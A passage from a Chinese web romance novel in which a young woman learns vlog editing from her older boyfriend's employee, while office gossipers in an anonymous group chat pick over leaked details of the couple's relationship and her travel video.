陶欣抬起头,看到周廷之,真是像看到了天神:“太及时了吧哥哥。” 周廷之:“哄不好我们就完蛋了。” 陶欣闻言忙把冰淇淋递过去,可小女孩却不肯接,咬着手吧嗒吧嗒的掉眼泪,一脸委屈无措。 陶欣直接给她跪下:“小朋友,这是赔给你的,吃嘛……你爸爸妈妈呢?” 眼见小女孩不为所动,到底是周念出马,他蹲下身,从陶欣手里接过冰淇淋,将裹着包装纸的脆筒塞到小女孩手里:“行了,不哭了,去吃吧。” 小女孩虽然是被抢了冰淇淋,但让她主动从陌生人手里拿冰淇淋,她也是很抹不开情面的,不想要,又委屈,所以才一直哭,周念这么强硬的塞给她,她倒是可以勉为其难的收下来。 看着左手右手各一个甜筒,小女孩马上就破涕为笑了,拿着两个冰淇淋甜筒小跑着去找爸爸妈妈。 陶欣跪在地上,叹为观止:“你怎么做到的?” “哼。”轮到周念得意了:“学着吧。” 周廷之手穿过陶欣腋下,把她从地上提起来,拍一拍膝盖上的灰:“好了,去吃饭吧,不是早就饿了吗。” 东北大饭包前依旧排着长队,三个人原路返回,又要从最末端开始重排。 陶欣本来还怕周念絮絮叨叨喊饿,万幸他很难得的做了回人,没有为这事埋怨,还夸了陶欣:“刚刚那冰淇淋怼的不错,很解气。” 陶欣:“刚才那种情况,我要不怼他一下,大年三十想起来都得把牙咬碎。” 周念:“确实,倒打一耙,太气人了,我都以为你要揍他了。” 陶欣:“我又不傻,我们是出来玩的,闹到派出所去多影响心情。” “可以可以,理智。”周念说:“下次要是不抢小孩冰淇淋就更理智了。” 陶欣:“所以你是怎么哄好的啊?” 周念:“这个啊,你教我平花我就告诉你。” 周廷之看着陶欣的侧脸。室内温度高,穿得厚,她刚刚又那样发了一场脾气,这会脸颊泛着暖融融的红,从侧面看很像一颗饱满多汁的水蜜桃。 正面看一定更可爱。 可陶欣的正脸对着周念。 周廷之虽然清楚陶欣不可能对周念有什么想法,但这种被忽视的感觉,还是让他目光渐沉,一点点冷下去。 “终于轮到我们了,老板,要一个辣椒焖子饭包,配料正常放,一个辣椒焖子饭包加土豆泥,一个茄子酱饭包不加葱。” 老板说:“不加葱不好吃,建议别吃。” 嘶——好有个性的老板。 陶欣扭头看周念。 周念犹豫了一下:“那加葱吧。” 三人吃上东北大饭包的时候已经是十二点半。因为要剪vlog,陶欣一坐下来就拿出手机记录这一餐,屏幕里三个人并排坐在窗边,各自捧着一个用保鲜膜裹着的绿油油的大饭包,画面简直有点滑稽,并不符合陶欣预想的vlog的整体风格。 “哎,算了,这段还是不要加进去吧。” 周念咬了两口饭包,感觉太噎了,起身去买汤。 陶欣见他走了,笑嘻嘻地说:“那我们俩单独拍一张。”三个人这样吃东西太傻了,两个人还是很有爱的。 周廷之没看镜头,握紧手,嗓子有点发干。 “周廷之?” “……我待会回酒店,你们,在这玩吧。” “怎么了?你身体不舒服吗?” 陶欣紧张起来,伸手摸他的额头。 周廷之微微低着头,眉眼隐藏在散乱的黑发下,令陶欣看不到他眼底的情绪。 “没有。” “那你怎么突然要回酒店啊?你累了吗?” 陶欣这样问,心里却不觉得周廷之会累,她还是比较担心是不是天气冷导致周廷之着凉感冒了,于是抬手将周廷之的头发捋上去,凑过去用自己的额头贴他的额头。 “……” “不热呀。” “我没有不舒服……”周廷之说:“只是觉得,可能你们两个更能玩到一起去,你下午不是还要教小念平花吗。” 陶欣眨了眨眼。 这是没有不舒服吗? 这不是又发神经了吗…… 哎。 虽然知道他是发神经,但看他这副样子,心里还是有点酸酸胀胀的。 “谁说的。”陶欣捏捏他的脸:“如果不是因为你,我才不理他呢。” 第55章 第55章!!!她的瓜!家人们的…… 陶欣离开管理局之后一直都很依赖网络,偶尔也会刷到一些情感问题的帖子,比如“女朋友太作了怎么办”“男朋友控制欲太强了怎么办”,而底下评论要么是出主意,设法让对方改正,要么是直接劝分,从根源解决问题。 陶欣想过,如果自己发一个类似的帖子,周廷之一定会被骂很惨,评论区大概也会是一水的劝分,不分就开叉车叉她那种。 毕竟周廷之的某些行为,单拎出来看,完全就是网络上典型的“作精”加“控制狂”,已经可以归属到罪不可赦的那一类人当中。 陶欣有时候也反思,大家都无法接受的行为,她却不以为意,是不是因为思想太落后于时代?她是不是真的恋愛脑?她对周廷之是不是太纵容?她和周廷之到底是不是健康的恋愛关係? 这些疑问,没有明确的答案。 能明确的只有一点,她不想和周廷之分手。 不想分手,也不想恋愛关係变得病态,陶欣在反思中渐渐掌握了抓大放小的原则。 定位、监控、关于孟和光的胡言乱语,均是大事。偷看手机、删除微信、发一点小神经,闹一点小别扭,此为小事。 小事究竟有多小呢。 假期一起出来玩,男朋友只是用这种别扭的方式,控诉她对他的关注不够多,无形之中忽視了他,仅此而已。 她当然可以说“那好吧,你先回酒店休息”,让男朋友独自在酒店里惴惴不安一下午,来惩罚他的无理取闹,他以后一定会引以为戒,再也不做这样的事。 可那对周廷之未免太坏了。 之后的几天,不论是滑雪还是去看天池,和周念说话的时候,陶欣總是紧紧牵着周廷之的手,摩挲他的手指,在他掌心画圈圈,时刻向他传递自己对他的关注。 周廷之其实很好哄的,或许是因为小时候经常被父母忽視,他本质上是感情需求非常低的人,只要看着他说一句“我真的很愛你”,他就会非常高兴了。这一点早在他们两个最开始谈恋爱那会,陶欣就已经察觉到了,陶欣还在第一次和周廷之外出旅行时寄给父母的明信片上写下这样一句话——我的男朋友是个很可爱的男孩子哦^_^ 如今虽然不好再称呼周廷之是男孩,但陶欣仍然认为他是一个很可爱的男人。就算有一天真的真的非常生他的气,要把他挂在网络上公开处刑,陶欣也要在标题上将他定义为只有一点点作的“小作精”。 回去的飞机上,三个人都很累了,周念更是一上飞机就盖着自己的羽绒服沉沉睡去,简直可以用不省人事来形容。 不过这也怪不了别人,要怪就怪他自己,在外边玩了一天回酒店还要打游戏,陶欣估摸着他这几天就没睡饱过。 得亏是年轻身体好,抗折腾,不然早就歇菜了。 周念补觉的功夫,陶欣和周廷之正一人一戴着一只耳机看这几天拍的視频素材。 年前旅游旺季,从长白山返回的飞机上公务舱里也坐满了人,两个人说话都把声音压得很低。 “每段我都很喜欢,可是这剪到一起还不得一个半小时?” “太长了嗎?” “是啊,我看网上那些vlog都没有那么长的……算了,反正我也不能发到网上,长就长点吧,这些我都留着,不然太难取舍了。” 陶欣并不是一张大众脸,十八年前认识她的老师同学,一定都还記得她的长相,她这个人,又或许手里还留存着过去的旧照片,倘若在网上刷到她,将“过去”和“现在”这两张一模一样的面孔联係起来,难免会产生一些麻烦。 从某种意义上来说,管理局对她的保护,同样是一种限制,陶欣不仅不可能成为一名公众人物,也不可能像普通人那样在公共平台上展示自己的日常生活。 “可以剪两个版本。”周廷之说:“剪一个完整版的,自己留作纪念,再剪一个标准版的,把脸挡住,发到你的抖音上。” 陶欣眼睛一亮:“好主意,回家我就开始学习!” 周廷之挑眉:“跟谁学?” “网课啊,我就不信剪辑視频能有多难。” “跟网课得学到什么时候去,找的老师还不一定靠谱。” “可是报班得等年后呢……” “我知道,等回去帮你找个老师。” 陶欣嘻嘻一笑,小狗似的往他身上蹭了蹭:“你是阿拉丁神灯吗我的好哥哥,我要永远追随你。” 周廷之抿了一下唇,因为注意到前边旅客和空姐投过来的视线,忍着没笑,也不和她闹,只推一推她的肩膀,轻声说:“坐好了。” 年龄是无形之中的限制,让周廷之不得不做出“人前假正经”的样子。 陶欣知道他难为情,笑着坐回去,继续看自己拍的视频。 周廷之看得出来,陶欣是真的对剪辑视频感兴趣,最近一直在念叨这件事,难得陶欣主动想学习一项技能,周廷之自然要大力支持。 学习,最重要的是找一个好老师,避免一开始就走弯路。 教陶欣剪辑的老师周廷之心里早有人选,是公司设计部的副總监,一流传媒大学毕业,以前在某知名电视台做综艺后期剪辑,后来由于身体原因,吃不消电视台的工作强度,才转行到华视做UI设计师。 她这个人很聪明,努力上进,对待工作的态度又非常严谨,所以进公司短短几年时间就升到了副總监。 而她的老本行也没扔掉,每年公司年会的暖场视频都是她负责剪辑,质感绝佳。 这种专业水平,教陶欣剪个vlog绝对是信手拈来。 为了避免担上“老板在放假期间压榨员工干私活”这种骂名,周廷之联系她的时候特意强调了两件事,第一:“你有空嗎?”第二:“就当做个兼职,时薪三倍。” 对面欣然答应。 周廷之便将陶欣的微信推了过去,让她们两个联系。 推完了,想起一件事。 这人不会也是八卦群体里的一份子吧? 话又说回来,最近公司那个匿名群怎么这么消停?都快一个月了,一点动静都没有。 周廷之没想太多。本来那群里一天到晚也只是胡说八道,没几句正经话,公司里有个什么八卦,议论一阵,热度散了就冷清了,等再出现八卦的时候才会重新活跃起来。 周廷之以为消停这么久,大概是那些女人终于看够“小老板娘”的热闹了。 殊不知,“卧底”一步错,步步错,从陶欣生日那天隐瞒跟踪事件开始,群里的消息总是围绕着“狗仔”,动不动就说什么“最近放假好无聊啊,都没有老板的瓜吃,狗仔队呢,能不能再出动一回”又或是“我愿意集/资给狗仔发工资,现在只有看ztz给人家当狗才能抚慰我苦逼的人生了”。 “卧底”深知自己存在的意义就是做周廷之的眼睛,避免员工内部出现太离谱的,损害到公司和周廷之个人利益的谣言。 可现在,周廷之已经被污名化成舔狗了,已经被“狗仔”跟踪了一圈了,视频照片被拍了一大堆……她这个卧底不仅没有告发,还跟着一起吃瓜,又在这里搞双押……还有何颜面再跑到周廷之面前打小报告啊…… “卧底”决定暂时蛰伏起来,等这件事彻底过去了再重操旧业。 而就在一众人放假在家无所事事之际,匿名群里传来一则重磅消息。 【家人们!我有个朋友跟我说了一个超级大瓜!虽然我答应她不告诉别人!但我愿意背负不守信用的骂名把大瓜分享给家人们!】 【[聊天記录][聊天記录]】 匿名群里有一个约定成俗的规矩,但凡是容易暴露身份的消息,都统称为“我有个朋友跟我说”,而这个群友直接放出和朋友的聊天記录,倒让人分不清是真有这么个朋友,还是出于谨慎自导自演了。 不过此时大家更关注的是聊天记录上的内容。 【綠:在干什么?】 【白:给小老板娘做家教赚点小钱钱】 【綠:啊???】 【白:小老板娘想学剪辑视频,老板问我能不能教一下,线上指导也不费劲,三倍工资,我必接这活】 【白:正跟小老板娘通话中[玫瑰]】 【白:别跟别人说】 看完聊天记录,群里顿时掀起轩然大波。当然,是和前几天的沉寂对比,略顯大波,热度远不如2.2狗仔实时播报。 【我好像知道对面是谁了……】 【禁止扒马】 【我嘞个给孩子找家教啊,ztz这不是当小女朋友当女儿养嗎】 【三倍工资哇,该说不说ztz这方面还是可以的,我朋友他们领导天天叫他干私活,又是接孩子又是辅导孩子写作业,一毛不拔还说什么我把你当自己人,yue了】 【啊啊啊啊我朋友跟我分享了小老板娘的朋友圈!家人们!谁懂啊!最近一条是小老板娘的生日写真照!】 【[图片][图片]】 【挖去,拍的好好,好有那个民国be味】 【不愧是第一校草啊,ztz这张脸就是硬帅,年纪越大越有味道,我真的很能理解梦女】 【民国风的写真哦……嘿嘿……】 【↑请问你在淫/笑什么,让我也淫淫,不是,让我也笑笑】 【十本小妈文学八本民国背景,还有谁没看过庭院里的女人,嘿嘿嘿……】 【还有嗎还有吗,小老板娘不会就这两条朋友圈吧[馋]】 【↑在馋什么?该不会是磕上cp了吧,我说你不要太邪门】 【[图片][图片][图片]】 【???不是吧,朋友圈全是ztz相关的?咱大小姐竟然还是个恋爱脑?】 【应该是只截了跟ztz相关的吧,也不好曝光人家的私生活】 【海边那条九张图都是ztz拍的?老小子还挺多才多艺】 【连拍照都不会能伺候好咱们大小姐吗?】 【其实这样就合理了,我一直觉得ztz不至于为了利益去给一个小姑娘舔狗,现在这么一看,人家两个就是单纯的真爱啊,不得不说ztz虽然年纪大了,但魅力不减当年】 【刚爬完楼,群友们也是越来越神通广大了,连小老板娘的朋友圈都能弄到,看样子聊条记录指日可待!】 【呜呜呜家教姐要是跟小老板娘混熟了,以后能近距离吃瓜,可千万别忘了我们这些穷亲戚,你吃瓜也让我们这些穷亲戚吃点瓜皮,提前谢谢家教姐了[双手合十]】 【那我就给家教姐拜个早年吧[磕头]】 剪辑师出身的“家教姐”正坐在书桌大大小小四块顯示屏前,一边看群里的聊天 记录,一边伪造聊天记录,一边和陶欣通话,一边远程操控陶欣的电脑。 “你一开始剪vlog不需要太复杂的剪辑手法,只要画面足够漂亮,内容足够丰富,加一点有创意的转场,和画面相符的音效和音乐就可以了。” “明白!”手机里传来小姑娘明快轻盈的声音,语气很谦和,很懂礼貌:“不过我还有个问题呀,我现在素材太多了,每一条都不舍删减,加在一起时长有点太长了……” “这样的话就可以进行一些加速处理,或者抽帧卡点,我还用刚才那条视频举例,你仔细看一下,如果这样播放,画面是很好看,可镜头推进这部分太长了,就很枯燥,像这样抽帧,加音乐卡点,再放一下是不是节奏就快了很多。” “哇……好厉害啊。” “那你现在自己操作一遍试试,看这次脑子学会了手有没有学会。” “OKOK!你放心吧!我不会让你失望的!” 毕竟是初学者,陶欣操作的速度很慢,时间完全足够“家教姐”再伪造一段聊天记录发到群里。 【綠:还没下课吗?小老板娘学的怎么样?】 【白:进度不算快,但态度非常好】 【白:很理解老板了,这要是我闺女,我才不管什么合不合适呢,一定给她找个最好的老师】 【白:真的很乖很可爱】 其实这段聊天记录不算什么瓜,发到群里甚至有一点拍小老板娘马屁的意思,可信度并不高。 不过“家教姐”还是发了,她是打心眼里觉得自己这个学生不是群友们想象中嚣张跋扈大小姐的形象,想要维护一下学生的形象。 可正如她所料,这种话说出来,群友们并不当回事,只随便敷衍了几个表情就又去逐字分析小老板娘的朋友圈了。 大家都只是想吃瓜而已。 “家教姐”看了眼主屏幕,见陶欣已经完成了操作,又继续讲下一个知识点。 就在这时,忽然听到手机里传来一个清朗的,有几分少年音色的男声:“欸,怎么你在书房啊,周总呢。” “家教姐”立刻闭上嘴,竖起耳朵。 陶欣说:“他去买菜了,你快出去,我忙着呢。” “你忙什么啊。”男生似乎走近了,随着“咚咚”的脚步声,声音也随之近了,他用略显散漫的语气说:“拿周总电脑打游戏呢?” 紧接着是办公椅的万向轮在地板上滚动的声音,衣物摩擦声,又一阵杂乱的脚步声,女孩毫不客气的一句“滚啊”,最后是“砰”的关门声。 陶欣将不速之客推出门外,急忙赶回来:“不好意思啊老师,你继续说。” “家教姐”勾起嘴角,嘴上慢慢说着“没关系”,十根手指头却要把键盘敲出了火星子。 【白:难以置信!】 【绿:怎么了快说快说】 【白:小老板娘居然住在老板家里!就在老板的书房学剪辑!】 【绿:[震惊jpg.]】 【绿:你怎么知道的?!】 【白:我不是在跟小老板娘通话吗,刚刚老板的儿子进来,说你怎么在书房,周总呢,然后小老板娘就说,周总出去买菜了】 【绿:咱少爺???】 【白:可不嘛,少爺还要来看小老板娘在干什么,被小老板娘给推出去了,我在电话这边只听小老板娘怒吼一句“滚啊”,咱少爺就被拒之门外了】 这段聊天记录一发到群里,又是一阵轩然大大大大波,群里的活跃程度完全不亚于2.2当晚。 【啊啊啊啊啊啊啊!住一起!】 【咱少爷!!!】 【卧槽ztz去买菜???人夫啊???】 【趁乱嗑一口小妈文学】 【↑不用趁乱了,如果家教姐情报属实,那还确实挺好嗑的】 【住一起我的妈啊住一起不是ztz咋想的啊,咱少爷不是都上大学了吗,那岁数差的也太少了,他是真不怕自己买菜的时候家里面天雷勾地火啊】 【嘿嘿嘿好嗑……】 【我不敢想自己每天在公司里跟一群什么人共事,不敢细想】 【天雷勾什么地火啊,小老板娘和咱少爷明显关系很恶劣啊】 【小妈文学,爹在时候关系恶劣才好嗑,楼上懂不懂(﹃)】 【啊啊啊啊啊家教姐再让我吃一口吧,我快不行了,求你了姐,我感觉我身上有蚂蚁在爬,我感觉我浑身都在抖,我快不能呼吸了,求你了姐,就再让我吃一口吧……我再也不碰了……】 【↑这是真看小妈文学的】 【不是?这还是吃瓜群吗?你们不好奇为什么现在就同居了吗?如果说大小姐背景很硬,怎么会允许婚前同居呢,还是跟父子俩一起同居?别说有背景的家庭了,就普通人家也不能同意啊】 【嗯……能不能是小老板娘家里不同意,小老板娘干脆就和家里闹翻了?】 【那ztz这老小子可挺不地道啊[擦汗]】 【我去问家教姐了,据说小老板娘和咱少爷关系并不恶劣,听那个相处狀态好像还挺亲近的】 【啊这……所以是挺亲近的狀态下,咱大小姐让咱少爷滚】 【我得细品一下,这个赛道没嗑过】 【你们这帮嗑小妈文学的就是怎么都得嗑一口呗】 【我嗑不起来,我怕基因突变,咱少爷长得五大三粗,未见庐山真面目之前我坚决不吃这一口】 【来跟我嗑年上人夫吧,我还震惊于ztz去买菜这件事,家里难道没有保姆吗?要他去买菜?回头不是还要他下厨做菜吧?搁着玩要想拴住她的心就先拴住她的胃呢?】 【啊!所以小老板娘那张日常九宫格里的一桌子菜,是ztz做的!】 【破案了,不是ztz做的应该也不会特意发出来】 看着群里的聊天记录,“家教姐”也是揣了一肚子好奇心,可倒也没有八卦到不管不顾的地步,实名状态下除了正常授课内容,多一句话都不会讲。 她的学生明显记性不太好,一些较为复杂的剪辑步骤需要反复说上两三次才能熟悉操作,不过审美很好,天然的清楚什么场景怎么转场才比较好看,也清楚怎样在画面里添加文字才没有违和感,这种审美可比剪辑技术重要的多。 “你就按照我说的再剪辑一遍,今天就差不多结束了。” “好!” 已经上了两个小时的课,电话那边的女孩依旧干劲十足,听得出来很喜欢学习剪辑。 然后就只剩下使用鼠标和键盘的声音。 “家教姐”一边看着群聊,一边看着她操作,忽然在鼠标键盘声中听到“磕哒”一声响,像是下压门把手的声音。 闷闷的,略微沉重的脚步。 有人走近,却没有发出一点声音。 陶欣也相应的停止了动作,紧接着电话那边就被静音了,过了将近一分钟,鼠标键盘的声音再度响起。 “家教姐”可以肯定,刚刚进来的人一定是周廷之。 可恶啊,说什么悄悄话这么见不得人。 “老师,我弄好了,你看一下。” “嗯,稍等啊,我看看。” 现在剪辑软件并不复杂,简单了解一下就能上手,才学了两个小时,陶欣就已经剪的有模有样了。 作为老师,“家教姐”非常满意:“可以了,你现在剪个vlog是完全ok的,有什么问题可以随时发微信问我。” “好!今天真的太感谢你了,希望我没有耽误你的假期。” “没事,我放假在家闲着也是闲着,带个学生感觉还蛮好的,非常有成就感,哈哈。” “家教姐”有意和“小老板娘”套近乎。 “小老板娘”很好上钩:“那我剪辑好了可以发给你看吗?” !!!她的瓜!家人们的瓜皮! “家教姐”克制着激动,语气平稳地说:“当然可以呀,期待你的成品。” 第56章 第56章孩子生下来,与他相差太…… 陶欣是一个很有韧劲的人,对任何事感兴趣都要死磕到底 ,晚上草草吃了口饭,又跑到书房去剪辑视頻。 周廷之切了水果送上去,推开门,见陶欣在揉眼睛,把水果盘放下,从抽屉里拿了一瓶新的眼药水,拆开包装,拧开盖子,手指抵住陶欣的额头。 陶欣看到他手里的眼药水,配合的往后仰了一下脑袋:“你慢点哦……” “没事,盯着我就好了。”周廷之动作很快,没有给她犹犹豫豫躲躲闪闪的机会,扒开她的下眼睑,一左一右各滴了两下。 眼药水微凉,陶欣不由地闭上双眼。 “你今天看电脑太久。” “我知道啦,就弄到十点行不行?” 周廷之拧上眼药水,轻轻敲了一下她的额头。 陶欣勉强睁开一只右眼,歪着脑袋看他,模模糊糊的水光里,周廷之的臉上似乎带着几分笑意。 即便看不清他的目光,陶欣也知道他是很爱自己的。 “打我干嘛。”陶欣故意嗲声嗲气地问:“怎么了嘛?” “我就这么几天假期。” “那,九点?” “九点我要在楼上看到你,晚一秒鐘都不行。” 陶欣竖起三根手指:“我对着灯发誓,晚一秒我就给你端水洗脚。” 周廷之问:“只穿内衣,跪着洗那种吗?” 陶欣默默摸起桌上的手机:“嘿siri。” “你好。” “定一个晚上八点五十五的闹鐘。” “已打开。” 周廷之满意地点点头,把眼药水放在书桌上,转身出去了。 陶欣又看向电脑屏幕,睁开双眼,眨了几下,感觉不像剛剛那么干涩了,看画面也更清楚。 继续在屏幕上输入文字——长白山/Day3 清早起床的片段,从酒店露台向外看,天很蓝,阳光温暖明媚——长白山漫长冬季里難得一见的晴朗,为了不辜负这样好的天气,决定出发去天池 陶欣想了想,又在这段话后面补了一个可爱的颜文字——(p≧w≦q) 后面是准备出发和离开酒店的片段,陶欣拍了很多周廷之准备随身物品的镜头,几乎都是正臉,这一部分就不能放在要发到公共社交平台的vlog里了。 不过陶欣保留了最后整理好背包的那一段,用小字备注了背包里携带的物品,还在必需品后面标了小星星。 标注完陶欣都想替自己鼓鼓掌,感觉自己实在太像一个旅游博主了,她做攻略的时候都找不到細节这么多的博主。 那么接下来是去天池的路线。 陶欣用叉子戳了一块哈密瓜,蜷起腿,抱着膝盖坐在椅子上,看着电脑里剩下的素材,又开始一轮疯狂/操作,完全沉浸旅游博主的世界里難以自拔。 八点五十五,手机准时发出刺耳的闹鐘声。 眼看着Day3就要大功告成,陶欣怎么能就此收手,毫不犹豫的关掉了闹鐘。 不就是跪式服务吗,切。 相隔三分钟,八点五十八的时候,手机又响了,是周廷之发来的微信。 陶欣随手点开,因为在忙着遮挡拍景色时不自觉拍到的周廷之,只飞快扫一眼就收回视线,继续…… 等等。 陶欣目光缓缓下移,再度看向桌面上的手机。 聊天框内是一段十五秒的视頻。背景在床上,藏蓝色床单,昏暗灯光,周廷之穿着黑色短袖,只露着下半张臉,手指修长,腕间戴着黑色手表,缓慢的将衣服卷上去,瓷白的皮肤,泛着粉,腹部紧实的线条,以及丰盈漂亮的胸型。 视頻最后,是周廷之带笑意的声音:“上不上来?” 上! 陶欣电脑都没关,拖鞋都没穿,只用了不到一分钟就回了房间,恰好赶在九点整之前。 周廷之还以剛剛的姿势靠坐在床上,衣服已经放下来并且整理好了,手机在手里有一下没一下的转着,明显是在等她。 陶欣真受不了,扑过去趴在他身上:“啊啊,你怎么回事呀,勾引完我不想负责吗。” “二楼到三楼需要走五分钟这么久?” “人家不是得保存一下进度嘛,我这不是九点之前就上来了嘛。” “我不叫你,你会上来?”周廷之不轻不重地捏一捏她的耳垂:“真想跪着给我洗脚?” 陶欣不想撒谎,转移话题:“刚才那个视頻拍的好好啊,我好喜欢。” 周廷之还是有点气陶欣一回来就完全不理他,吃饭的时候也在分心看旅游博主的vlog,他那么用心炖的鱼汤就只喝了半碗,所以这会仍然不配合陶欣:“喜欢,怎么不一起剪到视频里去。” 陶欣环住他的腰,枕在他胸口上,语气娇蛮:“那可不行,只能我一个人看。” 周廷之心情稍稍好了点,拍拍她的肩:“去洗澡了。” 坐在那里剪视频的时候全神贯注,不觉得累,这样舒舒服服的趴下来,陶欣真不想动了,黏在周廷之的身上放赖:“不要。” “要我帮你洗?” “那是帮我?你怎么这么色。” “陶小姐不色,从我视频发出去到你上来,就只用了六十二秒。” ??? 那视频还十五秒呢! 从书房到她房间门口少说一百米呢! 她能有这么快? “天呐。”陶欣说:“我还真是有运动天赋啊,早知道去做运动员替国家争光。” 她说着,手已经悄悄探进周廷之的衣摆。 周廷之按住腰间的手,退而求其次:“洗漱。”毫无感情色彩的两个字,像命令女儿去搞个人卫生的老父親。 陶欣头上蠢蠢欲动的小恶魔被驯服了,老老实实地爬起来,扎上头发,到浴室里冲澡,连带着刷牙洗臉,仅用时五分钟就裹着浴袍出来了。 “好哥哥,我真是一分钟都不能跟你分开。” “现在才来这套是不是晚了点。” 陶欣故作可怜,眼巴巴看着他:“你不爱我了吗?” 那一套晚了点,这一套什么时候都不晚。 周廷之没办法对这样的陶欣硬下心肠,于是移开了搭在身上的手臂。 跪坐在一旁的陶欣立刻像刚刚那样趴了回去。她身材纤細,整个人很轻软,有时候周廷之这样搂着她,觉得很像搂着一个棉花娃娃。 可陶欣在他怀里并不安分,从他身侧摸起他的手机,又点开那段视频。 这种视频,当面看感觉是不一样的,饶是周廷之已经没什么原则底线可谈,还是不免感到羞耻,握住陶欣的手腕,把手机拿了回来。 “什么呀,好意思拍不好意思叫我看?”陶欣脸埋进他胸口,隔着衣服咬了一口。故意咬在比较敏感的位置上,像小狗啃肉骨头,连里面的骨髓都要舔舐干净。 周廷之腰腹一紧,却没推开陶欣,只是将自己手机里的那段视频删除了。 陶欣感受到周廷之的反应,觉得奇怪,按理说,男人应该是年纪越大阈值越高,越冷静,可周廷之最近越来越敏感,比起二十岁的时候,有过之而无不及。 “你现在怎么这么容易……” 周廷之脱掉上衣,将她抱起来。陶欣没再说下去了。 …… 晚上哄好了周廷之,第二天照旧泡在书房里。 剪完Day4、Day已经是下午四点钟,陶欣伸了个懒腰,一边起来活动身体,一边点击播放刚剪好的vlog。 因为删掉了大多数露脸视频,超级长的素材剪到最后只剩下二十分钟,不过相比较之下这二十分钟也不算短了。 剪辑手法很粗糙,幸好素材丰富,画面精致,整体色调、配乐、文字也都风格统一,足够掩饰新手留下的瑕疵,看上去还真有旅游博主的味道。 陶欣从头看到尾,确定没什么问题,才发给自己的剪辑老师。 “家教姐”收到视频,垂死病中惊坐起,戴上自己五百多度的近视眼镜,音质顶级的降噪耳机,开始細细品鉴。 陶欣在长白山拍视频的时候,根本没想过剪出这样一个版本的vlog,所以不论是拍风景还是美食,都并不避讳拍到周廷之和周念,尤其是周廷之,几乎每一条素材里都或多或少有他的身影,有的就算没拍到他的人,也录到了他的 声音。 陶欣想要保证vlog的完成度,就不可能剪辑的干干净净,有些地方只好放大画面,避开周廷之和周念的脸。比如其中某一段,是三个人去吃朝鲜烤肉,陶欣一直在拍周廷之烤肉,放大之后便只剩周廷之拿着夹子给肉翻面的手和炭火上滋滋冒油的五花肉。 陶欣自觉这种程度发到公共社交平台上也没关系,可她哪里晓得,有人会用显微镜看她的视频。 得到老师的赞赏后,陶欣心满意足的把视频上传到了抖音。她花了这么长时间才剪出来的vlog,当然是希望有很多人看到并欣赏,特意打了很多的话题,什么#旅行vlog#长白山旅行#延吉#天池#滑雪#XX滑雪场,反正视频相关的话题能想到的差不多都打上了。 “家教姐”自然也很容易的就搜到了。 【[抖音分享]】 【新鲜出炉的瓜家人们快来品尝,小老板娘的抖音】 大约三十分钟后,匿名群才真正热闹起来,几乎每个人在发言之前都会甩出一张vlog里的截图,并用红线圈出重点。 【[图片]啊啊啊啊啊这个穿黑色滑雪服的该不会是ztz吧?我靠他还会滑雪?!】 【[图片]救命啊,被大小姐帅到了,这空翻,这平花……】 【[图片]我看完了,该说不说,小老板娘这攻略做的还真挺细致,就是预算总和太高】 【就就就就你们,我都懒得说,二十分钟的视频看了等于白看,还得姐姐划重点[图片][图片][图片]】 【挖去,我get到了!还有一个穿蓝色滑雪服的人一直在旁边!咱少爷?!】 【不是,ztz和女朋友出去旅行也带儿子?真少爷啊?周耀祖啊?】 【换个说法,家庭旅行,是不是好听多了】 【这么看真是关系好啊,也对,咱少爷得多不想不开啊,在他爹追求爱情的时候跟他爹对着干,回头小老板娘再生一个他不就没多少戏了吗】 【夸张了,单单一个天眼就够hs吃几辈子,ztz是小镇做题家出身,这些年又不讲排场的喽,你看他带小女朋友出去旅行,花销也只是对我们普通人来说预算稍微高点的程度,放假在家还自己出去買菜做饭,这不纯貔貅吗,只赚不花,天晓得他到底有多少钱,别说目前就这一个儿子了,就是赌王那种程度,也不会亏待长子啊】 【国内安防系统现在是被hs垄断的程度啊家人们,要不是怕一家独大上面请喝茶,那几个小公司还能这么苟延残喘着吗】 【该吃瓜吃瓜,不该讲的别讲】 【甜,这瓜真甜,你们去听十五分四十秒那里,有ztz的声音……好daddy啊[馋]】 【这不daddy啊宝,这纯男媽媽啊我的天】 【说的啥?】 【“过来,我给你把头发扎上。”】 【好嗑好嗑好嗑,这哪是旅行vlog啊,这分明是恋爱vlog,万万没想到有朝一日我居然能嗑起老板的cp,太邪门了!太恶心了!呜呜呜呜太好磕了!】 【↑你活的很分裂啊】 陶欣捧着手机,又欣赏了一遍自己的vlog,沉醉于自己越看越精妙绝伦的剪辑之中。 周廷之来叫她去超市:“你不是说要買年货,还去不去了?” “去呀,要去的。”陶欣坐起身:“等我穿个外套。” “穿厚一点吧,超市的地下停車场很冷,风一吹不比外边暖和,眼看要过年了,这时候着凉就不好了。” 陶欣从衣帽间里拿了件提格拉多毛的外套,凑到周廷之面前转一圈:“行吗?” 周廷之很敏锐,立刻就捕捉到了她这个举动里的深意:“嫌我唠叨?又想说我是长气鬼?” 陶欣一副受了冤枉的模样:“我几时说你长气鬼?你简直是含血喷人。” 随口一句话,陶欣根本没放心上,忘得很干净。倒是他,记忆超群,清楚记得陶欣说那句话的地点,时间,她的神情。 这么久过去,虽然绝口不提,但总是耿耿于怀,每次要多说几句,就想起这一茬,勉强忍耐回去。 这几天,陶欣有点太哄着他,害他得意忘形。 周廷之抿了一下唇,合拢陶欣的衣领:“是,我含血喷人,走啦小羊。” 开車去超市的路上,陶欣又打开自己的vlog看,发布还不到一小时,点赞已经两百多,不过评论只有可怜的几条,还都是一些本身就关注她的好友。 陶欣很认真的寻找原因:“是不是我把攻略做的太详细了,大家都没什么好问的。” 年前道上总是堵車,周廷之踩着刹車,转头看了眼陶欣,没忍心说是因为她不能露脸的缘故。 “自媒体是一个不断积累的过程,你坚持多发几条,粉丝会慢慢多起来的。” “嗯……你说得对。” “做旅游博主有意思吗?” “有意思!剪视频比捏泥巴有意思多了!” “年后去学一下?你不是也在考虑上学的问题吗。”周廷之试探着问。 他其实不太希望陶欣继续去上学,尤其是传媒影视相关的大学,里面年轻漂亮的男大学生多如雨后春笋……他光是想一想都够头疼了。 可陶欣如果想去,他也不会阻拦,大不了,私下请两个人多注意一下。 “专门学剪辑吗……”陶欣想了想说:“我自己再摸索摸索吧,说不定过一阵就不感兴趣了呢。” “好。”周廷之微微松了口气,笑着说:“你想做什么我都支持你。” 堵了好久的车,终于开进地下停车场。下车前周廷之特意拿了一个充电宝。刚刚看陶欣手机的时候,他注意到电量只剩二十多。 “超市也太多人了,好热闹啊。” “给。” “干嘛呀?” “人太密集了,万一有流感呢。” 陶欣接过口罩,仔细戴好,一双雪亮的眼睛盯着周廷之看:“好粥道先生,有时候我真佩服你。” 